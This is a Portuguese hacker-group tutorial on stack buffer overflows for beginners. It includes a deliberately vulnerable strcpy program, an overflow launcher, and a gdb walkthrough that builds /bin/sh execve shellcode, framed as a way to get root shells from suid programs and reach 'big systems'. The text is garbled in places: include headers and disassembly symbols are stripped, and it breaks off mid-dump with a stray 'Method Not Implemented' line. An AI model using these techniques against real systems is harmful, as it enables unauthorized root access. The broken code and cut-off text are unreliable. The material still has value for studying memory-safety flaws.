]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ############################################################################# ########################### UNSEKURITY TEAM ################################# ############################################################################# IP_FIX: Atual Clube dos Mercenários, http://cdm.frontthescene.com.br OVERFLOWS "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" Segmentation Fault! Desenvolvido por Nash Leon vulgo coracaodeleao. nashleon@yahoo.com.br Thanks Magic kiss e Unsekurity Team. Voce pode encontrar este e outros textos em: http://unsekurity.virtualave.net/ AVISO: NAO NOS RESPONSABILIZAMOS PELO MAU USO DAS INFORMACOES AQUI CONTIDAS, ESSAS INFORMACOES TEM SOMENTE PROPOSITO EDUCACIONAL.NADA DE BOBAGENS! Sao varios os pre-requisitos p/ a leitura e o entendimento desse arquivo texto. Vamos partir do pre-suposto que voce sabe programar em C, conhece bem o sistema operacional linux, pois como muitos, esse txt estah voltado somente p/ sistemas operacionais linux, digo sistemas, porque hj em dia ha muita diferenca entre Slack, Debian e REd sux. Faz necessario um conhecimento basico de assembly, existe um texto voltado justamente p/ a programacao de shellcodes na home page citada acima que poderah ajudar, mas eh bom ter em mente mais material sobre assembly.Mais uma vez, esse txt eh voltado p/ "Newbies", se voce eh elite vah procurar outro material, as teorias aqui nao serao aproveitadas por voce,caso seja elite!!!Como nos demais txts que escrevi, vou tentar ser o mais pratico possivel, e nesse nao serah diferente. Se quiser se aprofundar mais no assunto, no fim desse txt colocarei alguns links onde vc poderah encontrar mais informacoes sobre esse tao fascinante assunto.Eu iria me aprofundar ao maximo, mas o velho inimigo conhecido como tempo tem me vencido em muitas batalhas, de modo que pretendo nesse txt ficar no basico do basico, mas jah tem material futuro sendo preparado.Espere e verah! Bem,depois de toda essa ladainha,vamos trabalhar. ------------------------------- INDICE ----------------------------------- 1.INTRODUCAO 1.1 O que eh um buffer overflow 1.2 Tirando proveito 1.3 Modelo usual de memoria 2.O STACK OU A PILHA 3.SHELLCODE 3.1 Shellcode /bin/sh 4.FAZENDO UM STACK OVERFLOW 5.PROBLEMAS COM EXPLOITS 6.O HEAP - A NOVA ERA?? 6.1 Alocacao dinamica em C 7.HEAP OVERFLOW 8.O PROJETO OMEGA 9.PROCURANDO FUROS 10.TERMINANDO 10.1 Links e Referencias 10.2 Consideracoes Finais --------------------------------------------------------------------------- ---------------- 1. - INTRODUCAO | ---------------- Buffer overflows nao eh coisa nova.Comenta-se que desde a decada de 70 jah se tinha ideia do potencial desse problema, os programas em C estavam se firmando, e a medida que o tempo passava, os programadores iam crescendo em numero,mas diminuindo em cuidados.No entanto, a popularizacao dessa tecnica soh se efetivou com a chegada do "poderoso worm" de Robert Morris, comecava uma nova geracao de problemas p/ os administradores de redes, essa popularizao dessa tecnica foi muito gradual, poucos eram os documentos disponiveis,fazendo com que a "elite" mantivesse o controle total dela, mas como nem tudo dura p/ sempre, em 1994, surgem reforcos no intuito de massificar os conhecimentos nessa area, isso culmina com os excelentes textos feito pela PHRACK e pelo pessoal da The Hacker's Choice.A realidade disso tudo, eh que ainda hoje ocorrem muitos erros de programacao,surgem novas ferramentas que se dizem "capazes" de nao permitir mais um stack overflow, bem como novos programas que procuram bugs, e ateh mesmo fazedores de shellcodes.Voce deve estar se perguntando, se tem tudo isso,estou perdendo meu tempo lendo isso aqui??Assim como muitos,eu era um grande dependente de fucadores de fora, ficava agindo igual a um kiddie, ateh que num belo dia, surgiu um bug fantastico que estava sendo explorado por pouca gente, mas como eu era dependente e ninguem era louco p/ publicar o programa que explorava esse bug,eu percebi que se eu dependesse dos outros,jamais poderia de fato ter acesso a sistemas grandes,bem como poder um dia ser chamado de fucador.O que eu disse eh o rumo natural das coisas, se chegou ateh aqui, deve ser porque quer caminhar mais longe,fazer seus proprios exploits,e descobrir bugs por conta propria, espero que esse txt seja util p/ alguem, quem dera eu tivesse um desse quando comecei a pesquisar sobre isso!! --------------------------------------------------------------------------- -------------------------------- 1.1 O QUE EH UM BUFFER OVERFLOW | -------------------------------- Os programas que manipulam(recebem) variaveis necessitam de buffers, que sao locais na memoria onde sao guardados os dados que as variaveis recebem, no nosso caso.Quando se declara num programa uma variavel com tamanho X, e na execucao desse programa essa variavel termina recebendo dados maiores que X, entao ocorre o que chamamos de "BUFFER OVERFLOW".Quando isso ocorre,na maioria da vezes, voce receberah uma "Segmentation Fault", isso poderah servir como pista, pois muitas vezes quando isso ocorre, o programa executado poderah ser vulneravel a um buffer overflow.Um exemplo pratico de uma vulnerabilidade deste tipo eh mostrado abaixo: /* PROGRAMA BUGADO - EXEMPLO PRATICO P/ TXT SOBRE OVERFLOWS Compile com $gcc -o bug1 bug1.c */ #include #include main(int argc, char *argv[]){ char buffer[512]; if(argc < 2){ printf("Programa bugado!!\n"); printf("Uso: %s \n",argv[0]); exit(0); } strcpy(buffer,argv[1]); printf("Voce digitou %s!!\n",buffer); return 0; } Este eh o exemplo mais classico que existe.A funcao strcpy() copia o que voce digitar na linha de comando(argv[1]) p/ o buffer declarado (buffer) e como esta funcao nao faz checagem de tamanho, entao bomba!! Esse programa eh vulneravel a um buffer overflow. Teste ele digitando mais de 512 bytes em argv[1].Uma forma pratica seria: [localhost: /]$./bug1 `perl -e 'printf "A" x 530'` Se nao possui perl instalado tente na mao mesmo: [localhost: /]$./bug1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... Um monte de As. Ou se preferir, use o programa abaixo: --------------------------------------------------------------------- /* Simples programa para ver se determinado programa eh vulneravel a um buffer overflow. Desenvolvido por Nash Leon e Unsekurity Team. Thansk Ramona. */ #include #include /* Altere o PATH conforme o local que se encontra o arquivo bugado, bem como o tamanho que iremos usar p/ sobrescrever o buffer */ #define PATH "/tmp/bug1" #define A 0x41 #define TAMANHO 600 main(int argc, char *argv[]) { int i; char *buffer = (char *)malloc(TAMANHO); memset(buffer, A, TAMANHO-1); printf("Enchendo o buffer com caracter A !\n"); execl(PATH,"bug1",buffer,0); } ---------------------------------------------------------------------- Isso eh soh um programa exemplo, voce pode alterar ele e fazer dele um checador de todo e qualquer programa que utilize a linha de comando para pegar argumentos para uma variavel.Fica aih a concepcao, talvez divulgue em breve algo melhor que possuo em maos. Verifique a resposta que surgirah 'Segmentation fault'.Isso serah bastante comum durante nosso estudo. Vamos analisar varios codigos usando a ferramente gdb (Debugador GNU). Se voce nao tiver,ele eh um software gnu(super gratuito!!!) voce poderah acha-lo em qualquer mirror de softwares ou distribuicoes linux que se preze. www.gnu.org ; ftp://ftp.cdrom.com/pub/gnu.Veremos agora como tirar proveito disso tudo. ----------------------- 1.2 - TIRANDO PROVEITO | ----------------------- Sabemos entao quando ocorre um buffer overflow,quando colocamos mais dados que o programa pode suportar.Mas qual o intuito disso tudo? Um programa quando executado possui algumas particularidades, dentre elas destaca-se um artificio usado na computacao p/ que apos o termino da execucao desse programa, o sistema retome ao estado que se encontrava antes, o nome dado a este artificio eh "retorno".Mas para que isso possa acontecer, faz-se necessario alguns procedimentos: Primeiro, salva-se o endereco na memoria referente ao retorno(endereco de retorno) no stack, se a execucao normal do programa termina, o CPU irah saltar(jmp) para o endereco de retorno(return address) e continuar normalmente.Mas se alterarmos a execucao normal do programa usando um buffer overflow a coisa muda,se escrevermos mais dados em uma variavel e esse enchimento alcancar e sobrescrever a regiao da memoria onde estah o codigo de retorno entao ocorre o chamado "overflow".Fazendo isso poderemos mudar o curso de um programa, inserindo codigos nossos capazes de executar comandos como o dono do programa(nosso alvo serao as suid root, programas do superusuario), entao alterando o endereco de retorno, poderemos fazer com que nosso codigo que estah seguindo num argumento de uma funcao p/ encher um buffer possa ser executado. Mais abaixo seguirao melhores explicacoes de como se fazer isso. ------------------------------ 1.3 - MODELO USUAL DE MEMORIA | ------------------------------ O modelo usual de memoria difere de sistema para sistema.Em Linux/i186 ela possui modelo flat de 32 bit.Um programa pode ser dividido em secoes.As secoes sao .text para seu codigo, .data para seus dados, .bss para dados indefinidos.Os programas devem ter no minimo a secao .text. Um esquema para visualizacao disso seria: ------------------- | .DATA | | (Stack e Heap) | ------------------- | .BSS | | (Heap) | ------------------- | .TEXT | ------------------- Como vimos acima, eu coloquei as respectivas regioes onde ocorrem overflows relacionados.Stack overflows ocorrem na regiao .data, heap tambem pode ser usado p/ sobrescrever essa regiao (.data), mas eh usualmente mais usado p/ sobrescrever a regiao .bss. Se voce leu o texto sobre programacao de shellcodes na page do Unsekurity Team verah que nao eh mera coincidencia..:) As regioes onde ocorrem os overflows serao estudadas com mais detalhes mais a frente.Quanto a regiao .TEXT, como dito acima, ela eh a reponsavel por conter segmentos de codigos,os dados nesse segmento sao instrucoes em assembly que o processador executa.Veremos embaixo um outro modelo usual, soh que para uso de memoria em C. Alta --------------- | Stack | --------------- | | | Memoria Livre | | para alocacao | | (heap) | | | --------------- | Var. globais | --------------- | | | Programa | | | --------------- Baixa Essa eh uma visao conceitual do uso de memoria no C, o que temos que ter em mente, e o que mais nos importa no momento, eh diferenciar as regioes onde ocorrem os dois tipos de overflows que serao descritos aqui, a regiao Stack e a regiao Bss onde podemos fazer heap overflows. Lembrando tambem que isso tudo aih eh imaginario, nao vah pensando que eh um quadradinho perfeitinho que vai sendo enchido nao!! ------------------------------------------------------------------ --------------------- 2. O STACK OU A PILHA| --------------------- A regiao conhecida como STACK ou pilha, eh responsavel por receber dados(argumentos) e passa-los p/ as funcoes.Essa regiao possui tamanho relativo(muda quase sempre).O nome que se dah a essa regiao(STACK) eh porque ela pode ser comparada a uma pilha, onde voce vai enchendo ela de dados, soh que ela possui uma particularidade.Essa particularidade consiste em: O ultimo dado a entrar serah o primeiro a sair, chamamos isso de LIFO - last in, first out (ultimo a entrar,primeiro a sair). Na medida em que eh usado, o Stack ou a pilha,chamarei de Stack, cresce p/ baixo, sendo assim, a quantidade de memoria necessaria eh determinada da maneira como o programa foi projetado.Por exemplo, um programa com muitas funcoes recursivas utiliza mais memoria no Stack do que um programa sem funcoes recursivas, justamente porque variaveis locais sao armazenadas no Stack.A parte necessaria para o programa e as variaveis globais(citadas no esquema de memoria acima), eh determinada durante a execucao do programa. Uma pilha(Stack) eh o contrario de uma fila,porque usa o acesso "ultimo a entrar, primeiro a sair", denominado LIFO.Para visualizar um Stack, basta imaginar uma pilha de pratos.O prato da base do Stack eh o ultimo a ser usado e o prato do topo, o primeiro.Stacks sao geralmente utilizados em softwares basicos, incluindo compiladores e interpretadores.Geralmente o C usa o Stack quando passa parametros(argumentos) as funcoes.Dois comandos em assembly sao usado para enviar e retirar dados do Stack, sao eles push e pop, respectivamente. Veremos abaixo o esquema de um Stack em acao: Acao Conteudo do Stack ------ --------------------- push(A) A push(B) A B push(C) A B C pop() /* retira o ultimo */ A B push(N) A B N pop() A B pop() A pop() /* vazio */ Vemos acima o esquema da LIFO - ultimo a entrar,primeiro a sair. Isso eh mais do que o suficiente, espero que tenha ficado claro as coisas para voce,amigo!!Vamos esquentar mais as coisas. ------------- 3. SHELLCODE | ------------- Eu fiz um txt sobre escrita de shellcodes e voce pode encontrar ele na home page citada acima.Ele eh bem completo e ensina ateh um basico sobre assembly, entao amigo, se quiser obter mais dados sobre isso, olhe na home page "http://unsekurity.virtualave.net/", procure esse texto porque lah possui mais informacoes basicas e detalhadas sobre a escrita de shellcodes. Mas nesse daqui darei uma breve explicacao sobre eles e o porque de se usa-los. No exemplo inicial, o do capitulo 1.1, vimos como encher um buffer com As, mas isso nao eh proveitoso,o que se poderia fazer com isso eh tao somente conseguir um DoS(Denial of Service) em servicos remotos p/ intuitos nada simples.Tambem vimos no capitulo 1.2 que podemos sobrescrever o endereco de retorno(return address).Se podemos fazer isso tudo entao devemos raciocinar, ao invez de tacar um monte de As, por que nao colocarmos codigos de maquina para executar alguma coisa, jah que podemos sobrescrever o endereco de retorno p/ apontar para algum lugar na memoria aonde estah inserido nosso codigo?? Exato!!Isso nao soh eh possivel como eh um fato!!Nao tenho conhecimento do cara que descobriu isso,mas deve-se muito a ele! Sobrescrevendo o endereco de retorno fazendo-o apontar p/ o inicio de um codigo nosso, podemos executar o codigo como se fossemos o dono do programa bugado!!Geralmente se procura bugs em programas com suid root ou mesmo em sgid, que nos dao boas permissoes.Digo isso porque em breve descreverei alguns esquemas para banco de dados tambem, coisas um pouco diferentes, fique ligado!:) Bem como dito, o codigo que geralmente usamos, eh chamado de shellcode, pois executamos ele como se fosse uma linha de comando.Descreverei aqui alguns shellcodes,mas nesse texto especifico sobre shellcodes dito acima, encontram-se mais exemplos. Na maioria das vezes, em exploits locais, tudo que queremos eh executar o comando "/bin/sh" ou "/bin/bash" como se fosse root.Abaixo segue um esquema de shellcode para um desses citado: 3.1 - SHELLCODE /BIN/SH ------------------------ Esse existe por aih e eh amplamente difundido,tentarei ser bem pratico ao descrever como se criar um shellcode deste tipo,lembrando, nesse txt nao ensinarei nada sobre assembly, se quiser aprender algo,leia o outro. Vamos lah,veremos agora o codigo em C responsavel pela execucao desse dito cujo: /* Comecando a criar um shellcode */ #include main(){ char *comando[2]; comando[0]="/bin/sh"; comando[1]=NULL; execve(comando[0],comando,NULL); } Compilamos esse programa da seguinte forma usando gcc: [localhost:/]$gcc -o shell -static -ggdb shell.c Apos compilarmos o mesmo, usamos o gdb para analisar seu codigo em asm: [localhost:/]$ gdb shell GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-linux-gnulibc1"... (gdb) Em seguida digitamos "disassemble main", para que o gdb nos forneca o codigo da funcao main em linguagem assembly.Veremos: (gdb) disassemble main Dump of assembler code for function main: 0x8048150

: push %ebp 0x8048151 : mov %esp,%ebp 0x8048153 : sub $0x8,%esp Essa tres primeiras linhas correspondem ao processo inicial ou procedimento preludio.O que essas linhas fazem, primeiro eh salvar o frame pointer antigo, em seguida faz do atual stack pointer o novo frame pointer(mov %esp,%ebp), logo apos autoriza espaco para as variaveis locais, onde no nosso caso eh: char *comando[2]; Lembrando que ponteiro eh uma word long, entao ele autoriza espaco para duas words ou 8 bytes como vimos(sub $0x8,%esp).Continuando: 0x8048156 : movl $0x8058b28,0xfffffff8(%ebp) Essa gigantesta linha aih nao tem nada de complexo como parece,o que estah sendo feito aih eh a copia do endereco da string "/bin/sh"(valor 0x8058b28) sobre o primeiro ponteiro de comando[] (0xfffffff8(%ebp)). Isto equivale a: comando[0] = "/bin/sh". Continuando: 0x804815d : movl $0x0,0xfffffffc(%ebp) O que foi feito agora eh a copia do valor 0x0, que eh equivalente a NULL, sobre o segundo ponteiro de comando[].Isto eh equivalente a: comando[1] = NULL; em nosso codigo shell.c acima.Continuando: 0x8048164 : push $0x0 Bem amigos, aqui tem inicio a chamada da funcao execve(), lembrando, o programa empurra os argumentos de execve em ordem inversa(do ultimo argumento para o primeiro) sobre o stack.Acima vimos que comeca com 0x0 (NULL).Em nosso fonte shell.c temos: execve(comando[0],comando,NULL); Eh a este NULL que estamos nos referindo.Continuando: 0x8048166 : lea 0xfffffff8(%ebp),%eax Aqui ocorre o carregamento do endereco de comando[] sobre o registrador EAX.Continuando: 0x8048169 : push %eax Esse nao possui segredo, o que ocorreu foi que empurramos o endereco de comando[] que havia sido previamente carregado no registrado EAX sobre o Stack. Continuando: 0x804816a : mov 0xfffffff8(%ebp),%eax Aqui, carregamos o endereco da string "/bin/sh" sobre o registrador EAX.Continuando: 0x804816d : push %eax Novamente a funcao push(), que nos diz dessa vez que estamos empurrando os dados do registrado EAX, que nesse caso eh o endereco da string "/bin/sh", sobre o Stack.Continuando: 0x804816e : call 0x80483fc Aqui acontece o seguinte, ocorre a chamada a biblioteca de procedimentos execve(), ou simplesmente a chamada propriamente dita da funcao execve(). A instrucao chamada empurra o IP(Index Pointer) sobre o Stack. Lembrando que apos a execucao de execve(), nosso programa termina, entao as linhas abaixo seguem para voltar as rotinas anteriores: 0x8048173 : add $0xc,%esp 0x8048176 : mov %ebp,%esp 0x8048178 : pop %ebp 0x8048179 : ret Ocorre aih em cima o seguinte, eh o processo de saida, retorna o velho frame pointer, faz dele o stual stack pointer em seguida esvazia a pilha com pop. e ret retorna p/ o sistema. Agora analisaremos a funcao execve(); (gdb) disassemble execve Dump of assembler code for function execve: 0x80483fc : push %ebp 0x80483fd : mov %esp,%ebp 0x80483ff : push %ebx 0x8048400 : mov $0xb,%eax 0x8048405 : mov 0x8(%ebp),%ebx 0x8048408 : mov 0xc(%ebp),%ecx 0x804840b : mov 0x10(%ebp),%edx 0x804840e : int $0x80 0x8048410 : mov %eax,%edx 0x8048412 : test %edx,%edx 0x8048414 : jge 0x8048426 0x8048416 : neg %edx 0x8048418 : push %edx 0x8048419 : call 0x8050b28 <__normal_errno_location> 0x804841e : pop %edx 0x804841f : mov %edx,(%eax) 0x8048421 : mov $0xffffffff,%eax 0x8048426 : pop %ebx 0x8048427 : mov %ebp,%esp 0x8048429 : pop %ebp 0x804842a : ret 0x804842b : nop End of assembler dump. O codigo parece complicado a primeira vista,muitas instrucoes em assmebly, nao tao conhecidas p/ um newbie, como neg,test,jne, mas que sao explicadas em diversos tutoriais internet a fora, inclusive no meu outro sobre escrita de shellcodes..:)..Vendido meu peixe, vamos prosseguir.A maioria das coisas voce jah pode saber somente olhando e comparando com as explicacoes passadas.Mas vejamos: 0x80483fc : push %ebp 0x80483fd : mov %esp,%ebp 0x80483ff : push %ebx Isso eh o mesmo procedimento inicial descrito na explicacao sobre a funcao main().Pega-se o velho frame pointer e salva-o, em seguida faz do atual stack pointer o novo frame pointer e depois o empurra no stack. Continuando: 0x8048400 : mov $0xb,%eax Copia 0xb sobre EAX, que eh o numero 11 em decimal.Este numero corresponde ao system call execve() na tabela de system calls do sistema.Voce pode conferir essa tabela em /usr/include/sys/syscall.h , nao sei se isso varia de linux para linux,mas creio que nao.Continuando: 0x8048405 : mov 0x8(%ebp),%ebx O que aconteceu acima foi a copia do endereco de "/bin/sh" sobre EBX. Continuando: 0x8048408 : mov 0xc(%ebp),%ecx Copiamos o endereco de comando[] sobre ECX. 0x804840b : mov 0x10(%ebp),%edx Copiamos o endereco do ponteiro nulo (NULL) sobre EDX. 0x804840e : int $0x80 Aqui nos mudamos para o modo kernel. Para o intuito da escrita de shellcodes, isso aqui eh o fim do estudo da funcao execve(), esses comandos que seguem abaixo, jah sao mais complexos e acredite, creio serem inuteis para os nossos objetivos!!Uma vez que se entra no modo kernel, as intrucoes que seguem "nao fazem" parte do nosso programa.Se quiser ver como a coisa vai se complicando digite na linha de comandos do gdb "disassemble __normal_errno_location" e por aih vai. O estudo detalhado acima nos dah uma boa base para sabermos como funciona o processo de execucao de nosso programa shell.c em instrucoes de "maquina". Veremos abaixo alguns passos que nos ajudarao a escrever nosso shellcode. Necessitaremos das seguintes coisas p/ podermos escrever nosso shellcode: 1. Termos a string "/bin/sh" terminada nula em algum lugar na memoria. Lembrando que estamos querendo executar esse comando, se fosse outro, logico que poderiamos mudar isso. 2. Ter o endereco da string "/bin/sh" em algum lugar na memoria seguido por uma word null long.Por que isso? lembra do esquema: comando[1] = NULL; Se faz necessario isso aqui. 3. Copiar 0xb sobre o registrador EAX. Lembrando que de acordo com a tabela de system calls que podemos achar em /usr/include/sys/syscall.h, o numero decimal correspondente ao syscall execve() eh 11 (0xb). 4. Copiar o endereco da string "/bin/sh" sobre o registrador EBX. 5. Copiar o endereco da string "/bin/sh" sobre o registrador ECX. 6. Copiar o endereco da word null long sobre o registrador EDX. 7. Executar a intrucao int $0x80. Para facilitar o aprendizado veremos como cada um dos passos citados acima, no nosso exemplo inicial de shellcode: 1. 0x8048156 : movl $0x8058b28,0xfffffff8(%ebp) 2. 0x804815d : movl $0x0,0xfffffffc(%ebp) 3. 0x8048400 : mov $0xb,%eax 4. 0x8048405 : mov 0x8(%ebp),%ebx 5. 0x8048408 : mov 0xc(%ebp),%ecx 6. 0x804840b : mov 0x10(%ebp),%edx 7. 0x804840e : int $0x80 O esquema acima eh apenas demonstrativo, ainda faltam alguns passos p/ seguir na construcao de um shellcode eficiente.Por exemplo,para evitar que o programa continue buscando instrucoes para o Stack, caso a funcao execve() falhe.Nos precisaremos usar um artificio que faca com que o programa saia limpamente, caso haja falha em execve().Sair limpamente significa voltar a linha de comando, sem que o programa busque dados aleatorios caso execve() falhe.Para fazermos isso basta inserir uma chamada normal de saida junto ao nosso shellcode.Fazemos isso da seguinte forma: Pegamos e compilamos o programa abaixo: ------------------------------------------------------------------------ /* PROGRAMA QUE NOS AJUDARAH A SAIR LIMPAMENTE CASO EXECVE() FALHE Compile com: gcc -o saida -static -ggdb saida.c */ #include void main(){ exit(0); } ----------------------------------------------------------------------- Compilamos ele entao: [localhost:/]$ gcc -o saida -static -ggdb saida.c Logo apos a compilacao,chamamos nosso bom e velho debugador gdb para vermos como isso fica em asm: [localhost:/]$gdb saida GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details.This GDB was configured as "i686-pc-linux-gnulibc1"... (gdb) Em seguida digitamos "disassemble _exit" para que o gdb nos forneca o que queremos saber.Atencao: digite _exit(com um traco antes, como estah aqui). (gdb) disassemble _exit Dump of assembler code for function _exit: 0x80483e4 <_exit>: push %ebp 0x80483e5 <_exit+1>: mov %esp,%ebp 0x80483e7 <_exit+3>: push %ebx 0x80483e8 <_exit+4>: mov $0x1,%eax 0x80483ed <_exit+9>: mov 0x8(%ebp),%ebx 0x80483f0 <_exit+12>: int $0x80 0x80483f2 <_exit+14>: mov 0xfffffffc(%ebp),%ebx 0x80483f5 <_exit+17>: mov %ebp,%esp 0x80483f7 <_exit+19>: pop %ebp 0x80483f8 <_exit+20>: ret 0x80483f9 <_exit+21>: nop 0x80483fa <_exit+22>: nop 0x80483fb <_exit+23>: nop End of assembler dump. Podemos facilmente ver algumas coisas, vamos analisar este codigo. 0x80483e4 <_exit>: push %ebp 0x80483e5 <_exit+1>: mov %esp,%ebp 0x80483e7 <_exit+3>: push %ebx Procedimento inicial, o mesmo esquema descrito para a funcao execve() acima.Continuando: 0x80483e8 <_exit+4>: mov $0x1,%eax Aqui ele coloca 0x1 (1 em decimal) no registrado EAX.Esse eh o numero correspondente ao system call exit() na tabela de system calls. Continuando: 0x80483ed <_exit+9>: mov 0x8(%ebp),%ebx Aqui copia o endereco de exit, propriamente dito.Por que isso?? Veremos porque logo abaixo.quando virmos algumas linhas de main(). 0x80483f0 <_exit+12>: int $0x80 Muda para o modo kernel. Disassemblando main, teremos: (gdb) disassemble main Dump of assembler code for function main: 0x8048150

Method Not Implemented